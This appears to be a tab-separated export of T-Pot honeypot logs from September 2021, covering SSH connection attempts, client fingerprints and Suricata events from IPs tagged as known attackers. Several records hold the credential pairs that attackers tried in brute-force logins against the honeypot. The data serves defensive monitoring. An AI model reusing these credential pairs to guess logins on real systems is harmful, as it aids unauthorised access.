35833	107.0.200.227	109.199.241.180	Fatt	2021-09-20 15:10:59.589225+03	2021-09-20 15:15:03.77869+03	{"_id": "IAYdA3wBvYTbRNuE2V93", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 49338, "dest_port": 22, "timestamp": "2021-09-20T12:10:59.589225", "@timestamp": "2021-09-20T12:10:59.589Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
35834	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:59.45716+03	2021-09-20 15:15:03.78069+03	{"_id": "KQYdA3wBvYTbRNuE2V94", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.0.200.227", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49338, "timestamp": "2021-09-20T12:10:59.457160", "@timestamp": "2021-09-20T12:10:59.457Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35835	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:59.757453+03	2021-09-20 15:15:03.781689+03	{"_id": "LAYdA3wBvYTbRNuE2l_9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.success", "message": "login attempt [yq/yq@123] succeeded", "session": "73b93f327549", "@version": "1", "password": "yq@123", "username": "yq", "timestamp": "2021-09-20T12:10:59.757453Z", "@timestamp": "2021-09-20T12:10:59.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	CN
35836	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:11:00.214219+03	2021-09-20 15:15:03.782689+03	{"_id": "LwYdA3wBvYTbRNuE2l_9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.login.failed", "message": "login attempt [root/zxc123zxc] failed", "session": "99a4b4631518", "@version": "1", "password": "zxc123zxc", "username": "root", "timestamp": "2021-09-20T12:11:00.214219Z", "@timestamp": "2021-09-20T12:11:00.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	US
35837	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:00.316042+03	2021-09-20 15:15:03.784691+03	{"_id": "KgYdA3wBvYTbRNuE2l_9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2321 (192.168.176.2:22) [session: 5231f56350cd]", "session": "5231f56350cd", "@version": "1", "protocol": "ssh", "src_port": 2321, "dest_port": 22, "timestamp": "2021-09-20T12:11:00.316042Z", "@timestamp": "2021-09-20T12:11:00.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
35838	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:11:00.319095+03	2021-09-20 15:15:03.785691+03	{"_id": "LQYdA3wBvYTbRNuE2l_9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "5231f56350cd", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:11:00.319095Z", "@timestamp": "2021-09-20T12:11:00.319Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35936	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 15:10:41.878353+03	2021-09-20 15:15:03.91869+03	{"_id": "mwYdA3wBvYTbRNuElF6g", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.session.closed", "message": "Connection lost after 11 seconds", "session": "34e821c54e3e", "@version": "1", "duration": 11.705532312393188, "timestamp": "2021-09-20T12:10:41.878353Z", "@timestamp": "2021-09-20T12:10:41.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	VE
35839	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:11:00.599882+03	2021-09-20 15:15:03.786691+03	{"_id": "MAYdA3wBvYTbRNuE3F8c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 201773173475713, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"], "flowints": {"tcp.retransmission.count": 1}}, "src_port": 2321, "dest_port": 22, "timestamp": "2021-09-20T12:11:00.599882Z", "@timestamp": "2021-09-20T12:11:00.599Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35840	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:10:55.986535+03	2021-09-20 15:15:03.78869+03	{"_id": "7gYdA3wBvYTbRNuEyV7T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38232, "timestamp": "2021-09-20T12:10:55.986535", "@timestamp": "2021-09-20T12:10:55.986Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35841	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:10:55.985531+03	2021-09-20 15:15:03.789689+03	{"_id": "7wYdA3wBvYTbRNuEy15X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "33a2acbab033", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:10:55.985531Z", "@timestamp": "2021-09-20T12:10:55.985Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
35842	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:10:56.98754+03	2021-09-20 15:15:03.79069+03	{"_id": "-gYdA3wBvYTbRNuEz15B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "1e3a6334d3a6", "@version": "1", "timestamp": "2021-09-20T12:10:56.987540Z", "@timestamp": "2021-09-20T12:10:56.987Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35843	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:10:57.346868+03	2021-09-20 15:15:03.792689+03	{"_id": "-wYdA3wBvYTbRNuEz15B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "33a2acbab033", "@version": "1", "duration": 1.3616161346435547, "timestamp": "2021-09-20T12:10:57.346868Z", "@timestamp": "2021-09-20T12:10:57.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
35844	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 15:10:57.684911+03	2021-09-20 15:15:03.79369+03	{"_id": "_AYdA3wBvYTbRNuE0F5h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:10:57.684911+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 130}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755895858031, "payload": "AAAAAwQAAAD/AgAAAAAAAAAAAAAAAAD7BAAAAP8CAAAAAAAAAAAAAv9Z1KsEAAAA/wIAAAAAAAA=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:10:57.684911Z", "@timestamp": "2021-09-20T12:10:57.684Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........................................Y.............."}}	1	\N	\N	alert	\N	\N
35845	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:10:58.304137+03	2021-09-20 15:15:03.79569+03	{"_id": "BgYdA3wBvYTbRNuE018q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "73b93f327549", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:10:58.304137Z", "@timestamp": "2021-09-20T12:10:58.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35846	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 15:10:58.50531+03	2021-09-20 15:15:03.79669+03	{"_id": "BwYdA3wBvYTbRNuE018q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/99009900] failed", "session": "1e3a6334d3a6", "@version": "1", "password": "99009900", "username": "root", "timestamp": "2021-09-20T12:10:58.505310Z", "@timestamp": "2021-09-20T12:10:58.505Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35847	113.87.161.152	109.199.241.180	Suricata	2021-09-20 15:10:58.574881+03	2021-09-20 15:15:03.79769+03	{"_id": "CQYdA3wBvYTbRNuE1F9L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "flow_id": 862081445426153, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2320, "dest_port": 22, "timestamp": "2021-09-20T12:10:58.574881Z", "@timestamp": "2021-09-20T12:10:58.574Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	CN
35848	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:10:58.57791+03	2021-09-20 15:15:03.79969+03	{"_id": "CgYdA3wBvYTbRNuE1V9H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2320, "dest_port": 22, "timestamp": "2021-09-20T12:10:58.577910", "@timestamp": "2021-09-20T12:10:58.577Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
